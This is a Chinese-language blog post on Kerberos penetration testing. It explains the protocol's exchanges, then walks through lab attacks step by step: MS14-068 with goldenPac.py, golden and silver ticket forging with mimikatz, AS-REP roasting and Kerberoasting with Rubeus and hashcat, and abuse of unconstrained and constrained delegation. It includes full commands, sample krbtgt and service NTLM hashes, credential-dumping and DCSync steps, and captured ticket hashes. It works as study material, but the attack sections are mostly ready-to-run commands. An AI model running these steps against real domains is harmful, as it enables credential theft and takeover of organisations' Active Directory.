内网渗透学习(Kerberos篇)

Kerberos协议简介 & 认证过程

Kerberos 是一种由MIT提出的一种网络身份验证协议,用于环境中,它是一种基于票据(Ticket)的认证方式。Kerberos 认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意的读取、修改和插入,在以上情况下,Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(共享密钥)执行认证服务的,并且可以有效地防止中间人攻击

在 Kerberos 协议中主要是有三个角色:

  • 访问服务的 Client
  • 提供服务的 Server
  • 密钥分发中心 KDC(Key Distribution Center)

其中 KDC 服务默认会安装在一个域的域控中,而 Client 和 Server 为域内的用户或者是服务,如HTTP服务, SQL服务。在 Kerberos 中 Client 是否有权限访问 Server 端的服务由 KDC 发放的票据来决定

Kerberos认证过程

一些名词
Authentication Service(AS):身份验证服务器
Ticket Granting Service(TGS):票据授予服务器,用于 KDC 向 Client 和 Server 分发 Session Key(临时秘钥)
Ticket granting Cookie(TGC):存放用户身份认证凭证的 Cookie
Ticket granting Ticket(TGT):TGT 对象的 ID 就是 TGC 的值,在服务器端,通过 TGC 查询 TGT
Server Ticket(ST):ST 服务票据,由 TGS 服务发布

AS_REQ & AS_REP

首先当客户端试图访问域内某个服务时,客户端会向 KDC 中的 AS 发送一个请求,请求包含 Client Hash 加密的时间戳(用于预认证),Client Info,Server Info 等

AS 收到消息后会向 AD 请求查询是否有此用户,如果有则取出用户的 NTLM Hash ,并对请求中的时间戳进行解密,解密成功则证明客户端提供的密码正确,如果时间戳合适,此时预认证成功,然后 AS 生成一个临时密钥 Session Key,再次用 Client Hash 加密后作为响应包的一部分。此外还会产生一个 TGT(使用特定账户 krbtgt 的 NTLM Hash 对 Session Key,时间戳等进行的加密后的信息),然后将这两部分以及 PAC(用户的SID、用户所在的组等一些信息) 等信息回复给 Client

sequenceDiagram
    participant Client
    participant AS as AS (KDC)
    participant AD

    Client->>AS: 1. AS_REQ
    Note over Client,AS: Client Hash(Timestamp)<br/>Client Info<br/>Server Info

    AS->>AD: 判断用户是否存在
    AD-->>AS: 返回用户信息 / NTLM Hash

    Note over AS: 预认证:<br/>用Client对应的 NTLM Hash 解密<br/>判断时间是否有效

    Note over AS: 生成临时密钥 Session Key,并用 Client Hash 加密

    Note over AS: 构造 TGT:并用 krbtgt 用户的 Hash 加密信息

    AS-->>Client: 2. AS_REP
    Note over AS,Client: Client Hash(Session Key)<br/>TGT:KDC Hash(Session Key, Client Info,End Time)<br/>PAC(SID/组信息)

    Note over Client: Session Key(解密并缓存到本地)<br/>TGT(无法解密)

这一阶段的目标是:让客户端证明自己的身份,并拿到一个用于后续通信的 TGT(Ticket Granting Ticket) 票据

TGS_REQ & TGS_REP

第一阶段结束后,客户端已经有了两样东西:TGT 和 AS 产生的 Session Key

然后 Client 向 KDC 发起针对特定服务的请求,将 TGT 和 Session Key(AS) 加密的 Client Info,Timestamp 和一些其他信息一起发给 KDC 的 TGS

TGS 收到 TGS_REQ 之后,用 krbtgt Hash 值对 TGT 凭据进行解密,得到 Session Key(AS),Client Info,End Time 等信息,然后用 Session Key(AS) 继续解密,得到时间戳,如果时间相差不多则用 Session Key(AS) 对 Server Session Key(TGS产生) 进行加密作为第一部分,用 Server Hash 对 Server Session Key(TGS产生)、Client Info、End Time 进行加密作为第二部分,两部分构成了 TGS 票据发给 Client(不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)

这一阶段的目标是:客户端拿着第一阶段得到的 TGT,去申请某个具体服务的访问票据 Service Ticket

AP_REQ & AP_REP

和上一步类似,第二阶段结束后,客户端已经有:Ticket 和 TGS 产生的 Server Session Key

然后用 Server Session Key(TGS) 加密 Timestamp 和 Client Info 加上 Ticket 一起发送给 Server

Server 收到 AP_REP 之后用 Server Hash 对 Ticket 进行解密,得到 Server Session Key(TGS),然后用 Server Session Key(TGS) 解密,得到 Timestamp,再次进行比对,在允许时间内则进行下一步。Server 拿着 PAC 向 KDC 发起请求,域控解密 PAC,得到 Client 的 SID 以及所在的组等信息后返回给 Server,Server 将 Client 的权限与 ACL 进行比对,如果 Client 有访问权限,则返回 AP_REP 并与 Client 建立通信

Kerberos相关利用

PAC与MS14-068

PAC(Privilege Attribute Certificate) 在上面的 AS_REQ & AS_REP 这一步中有提到过。在 AS_REP 中,KDC 返回的 TGT 票据中包含了 PAC,它是用来验证 Client 的访问权限的,因为原始的 Kerberos 认证过程有一个很大的问题,那就是 TGS_REP 这一步,无论用户是否拥有对应服务的访问权限,只要验证用户身份通过都会返回 TGS 票据,这导致后续过程里用户可以直接拿着 TGS 票据访问任何服务

此外 PAC 对于用户和服务全程都是不可见的,只有 KDC 能制作和查看 PAC,这也确保了 PAC 的安全性。但是在有些服务中并没有验证 PAC 这一步,所以白银票据能利用成功

MS14-068

微软在实现的过程中,允许任意签名算法,只要客户端指定任意签名算法,KDC 服务器就会使用指定的算法进行签名验证。这导致它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限

未打3011780补丁的机子都能利用,下面用 impacket 中的 goldenPac.py 演示利用

goldenPac 是 MS14-068 与 psexec 结合的一个产物,运行后会产生一个 shell

1
2
3
4
5
6
#   E.G:
# python goldenPac.py domain.net/normaluser:mypwd@domain-host
# python goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控


python goldenPac.py -dc-ip 192.168.1.1 -target-ip 192.168.1.2 xiaorang.lab/abc:abc1234@dc.xiaorang.lab

黄金票据(Golden Ticket)

在上述的 AS_REQ & AS_REP中,用户使用自身 Hash 加密时间戳发送给 KDC,KDC 验证成功后返回用 krbtgt Hash 加密的 TGT 票据。如果我们有 krbtgt 的 Hash,就可以自己给自己签发任意用户的 TGT 票据,跳过 AS 验证

利用条件

  1. 域名称
  2. 域 SID
  3. 域的 krbtgt 账户的 NTLM Hash
  4. 需要伪造的域管理员用户名
1
2
3
4
5
6
7
8
9
10
11
12
# cmd查看sid,不需要后四位
whoami /user

# cmd查看域名
net config workstation

# mimikatz 在域控制器上导出用户密码或 hash
privilege::debug
lsadump::lsa /patch

# mimikatz 导出指定用户的hash值
lsadump::dcsync /domain:xxx.com /user:krbtgt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 清除票据缓存
kerberos::purge

# 查看票据列表
kerberos::list

# 查看注入情况
kerberos::tgt

# cmd中清除票据
klist purge

# cmd中查看票据
klist

方式一:

在靶机上生成黄金票据后直接ptt

1
2
3
# mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit

mimikatz.exe "kerberos::golden /domain:xxx.com /sid:S-1-5-21-854887597-2698481123-3746598263 /rc4:ee2ab0b2adf640821b739ed4c3d7a4d8 /user:administrator /ptt" exit

使用dir \\aa.xxx.com\c$\来验证(aa是域控)(后面的都可以用这种方法来验证,包括白银票据,就不重复放图了)

方式二:

生成票据后保存到文件中,然后手动导入

1
2
3
4
5
6
7
8
# kerberos::gloden /domain:<域名> /sid:<域SID> /krbtgt: <KRBTGT NTLM Hash> /user:<任意用户名> /ticket:golden.kribi
# kerberos::gloden /domain:<域名> /sid:<域SID> /aes256: <KRBTGT aes256> /user:<任意用户名> /ticket:golden.kribi

kerberos::golden /user:administrator /domain:xxx.com /sid:S-1-5-21-854887597-2698481123-3746598263 /krbtgt:ee2ab0b2adf640821b739ed4c3d7a4d8 /ticket:golden.kirbi


# kerberos::ptt <票据文件>
kerberos::ptt golden.kirbi

白银票据(Silver Ticket)

白银票据是出现在 TGS_REQ & TGS_REP 过程中的。在 TGS_REP 中,不管 Client 是否有权限访问特殊服务,只要 Client 发送的 TGT 票据是正确的,那么就会返回服务 Hash 加密的 TGS 票据。如果我们有了服务 Hash,就可以签发 TGS 票据,与黄金票据相比,白银票据只能访问特定服务,并且伪造的白银票据没有带有有效 KDC 签名的 PAC。如果将目标主机配置为验证 KDC PAC 签名,则白银票据将不起作用

利用条件

  1. 域名
  2. 域 SID
  3. 目标服务器的 FQDN(域名全称)
  4. 可利用的 Kerberos 服务,例如 cifs
  5. 服务账号的 NTLM Hash
  6. 要伪造的用户名(用于构造 PAC,任意用户名应该都可以,检查 PAC 的服务不多)
1
2
3
4
# 获取service账号的hash值

privilege::debug
sekurlsa::logonpasswords

生成票据并注入

1
2
3
# kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<Server NTLM Hash> /target:<目标服务器的域名全称> /service:<服务> /user:<任意用户名> /ptt

kerberos::golden /domain:xxx.com /sid:S-1-5-21-854887597-2698481123-3746598263 /target:aa.xxx.com /rc4:9f2b4a56589664e727d7eec3f7e2f1c7 /service:cifs /user:administrator /ptt

黄金票据与白银票据的区别

访问权限

  • 黄金票据伪造 TGT,可以获取任何 Kerberos 服务权限
  • 白银票据伪造 TGS,只能访问指定的服务

加密方式

  • 黄金票据用 krbtgt 的 NTLM Hash 加密
  • 白银票据用 Server 的 NTLM Hash 加密

认证流程

  • 黄金票据的利用过程需要访问域控
  • 白银票据的利用过程需不需要访问域控

AS_REP Roast

AS_REQ & AS_REP 认证的过程是 Kerberos 身份认证的第一步,只要用户提供的票据正确,服务就会返回 Client Hash 加密的 TGT 票据。而如果域用户设置了选项”Do not require Kerberos Preauthentication”(该选项默认关闭)关闭了预身份验证后去请求票据,此时域控会不作任何验证便将 TGT 票据和加密的 Session Key 等信息返回,因此攻击者就可以对获取到的信息进行离线破解,如果爆破成功就能得到该指定用户的明文密码,这种攻击方式被称作 AS_REP Roasting

几种利用方式

仅查找用户:利用 PowerSploit 的 PowerView.ps1 查找可利用的账户

1
Get-DomainUser -PreauthNotRequired -Verbose | select samaccountname

注意:有时候在不同的账户不同权限不同的登录方式下,工具也可能会出现判断错误或异常的情况


方法一:利用 Rubeus 将开启了无需预认证的用户的 Hash 值导出

1
2
3
4
5
# 域内
Rubeus.exe asreproast /outfile:hash.txt

# 域外,但是可以与域控通信
Rubeus.exe asreproast /domain:xxx.com /user:cc /dc:192.168.100.126 /format:hashcat /outfile:hash.txt


方法二:利用 Impacket 中的 GetNPUsers.py 来导出 Hash

1
python GetNPUsers.py xxx.com/cc -dc-ip 192.168.100.126 -no-pass -format=john

得到 Hash(这种类型的 Hash 无法进行 PTH)

1
2
3
4
5
# john
$krb5asrep$cc@xxx.com:5EDECA444700F5A101FF2EB7A0F7FF68$DE35AF371D962805546E9517BE57C7679670D6F62A59FDCED2DB5D3421599101AF7BD0AF440F3289491604E85E15B0D21185A7960F00C0638BD9BB48D1EC22D7E0FFE4ED53602582D37C5AC6278E5C6B0F616819D4165EB331B886EC44FB9D0DD09F06E6125D7C51E632CE24BB6AEFBF1DF19A185619D604A764E189E2B8B8274077D807A4589826B45838EABDDB24AC5DC326FEA0E665F99C396A90EDDB397CA67847F44EF6A13DE8B5618991AF955D51C68C7B978DBA9BEFC6F2E626B445B285F4ABAA9AB4750AE3A8417EBFCB60BCC450DD44981C4E6F40280EAC58898804602B

# hashcat
$krb5asrep$23$cc@xxx.com:4240424759E808B08336196B57276B93$6BBED37D7A3BA3023DFB2BEBAC8001D6C1D3A657C858C3658227F9E837676378C43A559D18209C3957DF459308E9E616B32586C3B178F21A1446AF9A2BF11C431489100727FBCB1B35F1E411672E97EB9C1DB89592D0680598244004E8BD85461780CC1662E9983B02F9F4418FBADD142B9AE2DC9FFFFFA2CEBD225F894482B49EE5D9C1EF2F9A4578343B65FF6442A6F369A30C02C9A518F9110FDCA438CD6378107FE0A0029B3B6CF341A7E92A614D3081F208083BA465525E2458F6122F60530FE2DCDA44E56CE026BAE9E4EC77AFBC50C9D2915169EF73C15D03ECBD9084925C

使用 hashcat 或者 john 爆破

1
2
3
4
5
6
# hashcat
hashcat -m 18200 hash.txt wordlists.txt


# john
john hash.txt

Kerberoasting和SPN

AS-REP Roasting 和 Kerberoasting 都是针对 Kerberos 认证机制 的离线口令破解攻击,但它们攻击的对象、前提条件和拿到的票据不同

和上面的 AS_REP Roast 不一样,Kerberoasting 发生在 TGS_REQ & TGS_REP 阶段。只要用户提供的票据正确,服务就会返回自身 Hash 加密的 TGS 票据,那么如果我们有一个用户,就可以申请服务的 TGS 票据,票据的一部分会用服务账户的密钥加密,因此如果服务账户密码弱,就可能被本地爆破服务 Hash 得到服务密码,前提是服务账户注册了 SPN

SPN简介

在域中,服务通过 SPN(ServicePrincipal Names) 来作为唯一标识,每个使用 Kerberos 的服务都需要一个 SPN

SPN 分为两种,一种注册在 AD 上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下

  • 当一个服务的权限为 Local System 或 Network Service,则 SPN 注册在机器帐户(Computers)下
  • 当一个服务的权限为一个域用户,则 SPN 注册在域用户帐户(Users)下

SPN格式与查询

1
2
3
4
5
6
<serviceclass>/<host>:<port>/<service name>

<service class>:标识服务类的字符串,可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
<host>:服务所在主机名称,有两种形式,FQDN 和 NetBIOS 名,例如 server01.test.com 和 server01
<port>:服务端口,如果服务运行在默认端口上,则端口号可以省略
<service name>:服务名称

比如:手动注册一个名为 MSSQLSvc 的 SPN,将他分配给 dd 这个域管账户

1
setspn -A MSSQLSvc/aa.xxx.com:1433 dd

查询已经注册的 SPN

1
2
setspn -q */*
setspn -T xxx.com -q */*

CN=Users 的是域账户注册的 SPN,CN=Computers 是机器账户。我们应该选择域用户进行利用,因为机器用户的口令无法远程链接

Kerberoasting利用

域内的任意主机都可以查询 SPN,任何一个域用户都可以申请 TGS 票据

使用 PowerSploit 的 PowerView.ps1 查找可利用的 SPN

1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,last

或者使用 kerberoast 的 GetUserSPNs 查找

1
cscript GetUserSPNs.vbs

根据扫描出的结果使用微软提供的类 KerberosRequestorSecurityToken 发起 kerberos 请求,申请票据

1
2
3
4
5
6
7
# 请求指定服务的 TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/aa.xxx.com:1433"

# 请求所有服务的 TGS
Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据

然后可以使用 mimikatz 导出TGS

1
kerberos::list /export

或者用更简单的方式:直接用 Rubeus 导出 Hash 后用 Hashcat 跑就行,注意类型是 13100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
PS C:\Users\Administrator\Desktop> .\Rubeus.exe kerberoast

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v1.6.4


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Searching the current domain for Kerberoastable users

[*] Total kerberoastable users : 1


[*] SamAccountName : dd
[*] DistinguishedName : CN=dd,CN=Users,DC=xxx,DC=com
[*] ServicePrincipalName : MSSQLSvc/aa.xxx.com:1433
[*] PwdLastSet : 2026/4/24 14:17:50
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*dd$xxx.com$MSSQLSvc/aa.xxx.com:1433*$A8C55D8BBD09158272503B40B67B1D
1A$DDCC32CDCD51BA679CA82651AEE9B696A3C3D18278F6C891A3DC17371F3F4A22315F2D50E618F
A7DC7BD7C22607BB5EFB13B0ACDEB555A072788D755AD1BA9EF1C96808ED6F4F11F493FED3ECA26B
38401584B97A0AD3AF4351A1517AA2ED338AD11BCADC6D75894711EDA6D3766C85E5C6E264DE7A48
890A3373FC74F797E0D9524C7D66B0866D356D59AB7F534493F39B0D21F854A0C66860DBBDAD8B8C
7D9B0823CB62A49038441520757DBCAC533D4BFF3031FA2DF740A80A5E5294318D06152FB4968FD5
32577B22F7B17EA527535513B4DC10380DE9383987290E2249ED6FF1BA81EB474F40F4DEEF8B0FD9
396DBA87746241FF84E60F96DA4A4A0A2307E2234D86AFFBFA97989728313532805659D26876A07B
53903B63B625D93F87F7A38853AED85B81D2D1AB7DFCDD6248CCF5941B3ADC37728528A4D6F99426
C988D49EEF4B38E3329BEA8A9D1614A26D0D4DE5A1B8E79BF73C59CDB7355B8DFCB8C6AFEB5A464C
D4E6414ACD1503A30D38572C3A29D50A80CA0D344D184A5B44C0A282C5ACE085A15A0C1DE311BBD4
1F50AA8435CC19F506459BE409C085D5DBFE6458E8D54AFC2E26AF5ECC86A5AC24ACA6D62E90DA23
AC3031F1A4B5F213D0951DDA366F4CF4F38B6F2F6CD426B4B56DA22E957266616E8145600CD54A8C
A3351CCA922F63B3A1C9DB03729BB73D18EE046E6F6221EA4E23BB25103DEAE09AA58F1955F44733
EFE09CBB75B1F8CE4048B185F5E11ACD4F7EA1E959035D5118F20924329B5F384F6B7B4AB90736B2
E10DD59337DDF386F3E5C69ED95312C92DAB86333668FBEF64B627CBC72B4D9BD86DBE8475D55936
E4E26732F0B796871FFDEF1F544158CDBD81550CC5A1D351BB5EEEECC16610BAF0728A98CD6D474C
D6B4E2423BCAD02372EFBB6D6F4A38CC307E73D85D971A9544342E8626128D6B7426301E524DF4F1
BD1F144093EDDD29AEC32FE05BBA39C642A96663F2E05EEE9779DB253711D31056968210F644AA04
B41F643590DBF681DCD1D7F012DCB176E759D628F86DF6C84DF566A09470C757EEF4F0F5C02DD350
A8EA7EFFA575E27D37FB4A46D284E5ACB39B20D8E9ED4192D130036F50104BB3D638667979EA3F55
0802F9A93615B90D51A6C4F751FB90864472BDB1FE76816AB98E424C40FE33490D89CD2C705DE6A5
74D094ABE5934877261008B75CC333E507936EF297F2EDB5FABBDD19E42B60ABB7989E2B463E0477
188F23324D71C5C0940A2833B0BB4BD13482D66BBC5D4B8A22E99E93129BBAD587FF53EE4C2E8CBC
EF272C640065A3C8B4F9DA6BFD178E0567A486E4F6A4A9460B92E604A86C3377B37EA7D1DEA1E775
2C29A5D41433D901DB71B82145EB193B7EABD74480A24F6372430D0D0C5224F08E0210FD2D485719
8A2848E3D7F436AA81610BE846729B25E0DD5083301FBB74238492A5A33277C28003217BD93832FB
E17B56300EC3DBACC8CEDB6BB709C0F8D2F2FA12CBCB602E61A5FD0FC9E33EF8349A04A3D0A370CC
D1C73066B7EEAA822E3226F255472F9B3A1990CC6B0B95819

委派

Kerberos 的委派(Delegation),简单说就是:允许一个服务代表用户去访问另一个服务

比如用户访问一个 Web 应用,Web 应用后端还需要去访问数据库、文件服务器或 API。Kerberos 委派让 Web 应用可以 “以这个用户的身份” 继续访问后端资源,而不是只能用 Web 服务自己的身份

此外接受委派的用户只能是服务账户或者计算机用户

非约束委派

设置后服务被允许代表用户访问任意服务

假设我们有一台域内的可控主机 zz,并配置了非约束委派,当域控或者其他主机通过 Kerberos 协议访问我们的主机 zz 的时候,就会在内存留下 TGT 票据,我们可以通过 TGT 票据来访问该主机可以访问的任意服务

查找非约束委派

AdFind

1
2
3
4
5
6
#查询服务用户
.\AdFind.exe -b "DC=xxx,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName


#查询主机用户
.\AdFind.exe -b "DC=xxx,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

利用非约束委派

在 DC 上通过 WinRM 访问主机 zz(Windows Server 2012及以上默认是开启WinRM服务的,Windows Server 2008 R2需要 winrm quickconfig -q 来启动WinRM服务)

1
Enter-PSSession -ComputerName <计算机名>

此时主机 zz 上已经缓存了从 DC 登录过来的域管的 Ticket,使用 mimikatz 导出

1
2
privilege::debug
sekurlsa::tickets /export

注入内存后测试

1
kerberos::ptt <票据>

在实际利用中我们需要诱导DC或者高权限用户来连接

非约束委派+Spooler打印机服务

上一小节中的非约束委派需要域控主动连接,所以有时比较被动和鸡肋。但是 SpoolSample 可以利用 Spooler 打印机服务来强制指定主机进行连接

利用条件是需要以域用户运行 SpoolSample,需要开启 Print Spooler 服务,该服务默认自启动

使用 SpoolSample.exe 程序,让 DC 强制访问和认证 (我的环境中AA是域控,ZZ是可控的非约束委派主机)

1
2
# SpoolSample.exe target server
SpoolSample.exe AA ZZ

同时使用 Rubeus 监听来自 DC 的 4624 登录日志(注意筛选条件)

1
Rubeus.exe monitor /interval:1 /filteruser:AA$

使用 Rubeus 导入 base64 格式的 Ticket

1
Rubeus.exe ptt /ticket:base64

然后就可以利用 mimikatz 了

1
2
3
4
privilege::debug
sekurlsa::tickets /export
kerberos::ptt <票据>
lsadump::dcsync /domain:xxx.com /user:krbtgt /csv /all

得到 krbtgt 用户的 Hash 之后可以生成一张 administrator 的黄金票据

1
kerberos::golden /user:Administrator /domain:xxx.com /sid:S-1-5-21-854887597-2698481123-3746598263 /krbtgt:ee2ab0b2adf640821b739ed4c3d7a4d8 /ptt

约束委派

服务只能代表用户访问指定的服务

由于非约束委派的不安全性,微软在 windows server 2003 中引入了约束委派,对 Kerberos 协议进行了拓展,引入了 S4U,其中 S4U 支持两个子协议:Service for User to Self(S4U2Self) 和 Service for User to Proxy(S4U2proxy),这两个扩展都允许服务代表用户从 KDC 请求票据。约束委派就是限制了 S4U2proxy 扩展的范围

1
2
3
4
5
6
7
8
S4U2Self:
服务可以为某个用户向 KDC 请求一张"给自己用的票据"
可以理解为:服务A:我想知道用户 Alice 对我是什么身份


S4U2Proxy:
服务拿着用户相关票据,以用户的名义再请求访问另一个其它服务的票据
可以理解为:服务A:我想代表 Alice 去访问服务B

利用

我的测试环境: aa.xxx.com 为域控,zz.xxx.com 为域内主机

先配置约束委派环境。新建一个 sql 用户,并且注册 SPN 表示其为服务用户

1
setspn -A MSSQLSvc/zz.xxx.com:1433 sql

同时配置上 dc 的 cifs 可以被 sql 用户所委派。需要注意的是使用任何身份验证协议

在配置约束性委派时有两种模式,其核心区在于是否允许协议转换,具体如下:

  • Use Kerberos only,仅使用 Kerberos:
    用户必须先通过 Kerberos 访问服务 A,服务 A 需要拿到用户访问自身的、可转发的服务票据,之后才能通过 S4U2Proxy 向 KDC 申请访问被允许委派的后端服务 B 的票据。
    这种模式不能凭服务 A 的账号权限直接通过 S4U2Self 伪造任意用户完成完整委派。
  • Use any authentication protocol,使用任何身份验证协议:
    允许协议转换。即使用户没有先通过 Kerberos 访问服务 A,服务 A 也可以通过 S4U2Self 代表某个用户向 KDC 申请“该用户访问服务 A 自身”的票据,再通过 S4U2Proxy 将其转换为访问指定后端服务 B 的票据。
    因此,如果攻击者掌握了服务 A 账号的凭据,并且该账号被配置了到目标 SPN 的约束委派,就可以伪造被允许委派的用户去访问目标服务。

查找约束委派

1
2
3
4
5
# 查找约束委派的用户
.\AdFind.exe -b "DC=xxx,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

# 查找约束委派的主机
.\AdFind.exe -b "DC=xxx,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

约束委派的利用条件是需要知道服务账户的密码或 Hash,因为约束性委派在向 KDC 申请可转发 TGS 时,需要提供可转发的 TGT(这里需要自身的 Hash)。所以只要控制配置了约束性委派服务的机器,并获得了它的密码或 Hash,就可以劫持这台主机的 kerberos 请求过程,最终获得任意用户权限的 Ticket

方法一:使用 kekeo 和 mimikatz

1
2
3
4
5
6
# 先使用 kekeo 申请 TGT
# tgt::ask /user:sql /domain:xxx.com /NTLM:bb9973686203e4145b24156b549d3244
tgt::ask /user:sql /domain:xxx.com /password:Qwer12345

# 使用该 TGT 通过 s4u 伪造 administrator@xxx.com 去访问 aa 的 cifs 服务
tgs::s4u /tgt:TGT_sql@XXX.COM_krbtgt~xxx.com@XXX.COM.kirbi /user:administrator /service:cifs/aa.xxx.com

最后通过 mimikatz 使用 cifs 的 TGS 票据进行 ptt 即可


方法二:使用 Rubeus 和 mimikatz

1
2
3
4
5
6
7
8
9
10
11
# 导出 NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 使用 Rubeus 申请服务票据
.\Rubeus.exe asktgt /user:sql /rc4:bb9973686203e4145b24156b549d3244 /domain:xxx.com /dc:AA.xxx.com /nowrap

# 注入票据
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/AA.xxx.com /dc:AA.xxx.com /ptt /ticket:<上一步抓到的票据>

# 访问
dir \\AA.xxx.com\c$


Kerberos协议之黄金票据和白银票据
内网渗透之kerberos协议学习及攻击方法总结
域渗透-SPN


内网渗透学习(Kerberos篇)
https://www.dr0n.top/posts/dcdc9b09/
作者
dr0n
发布于
2025年9月13日
更新于
2026年5月9日
许可协议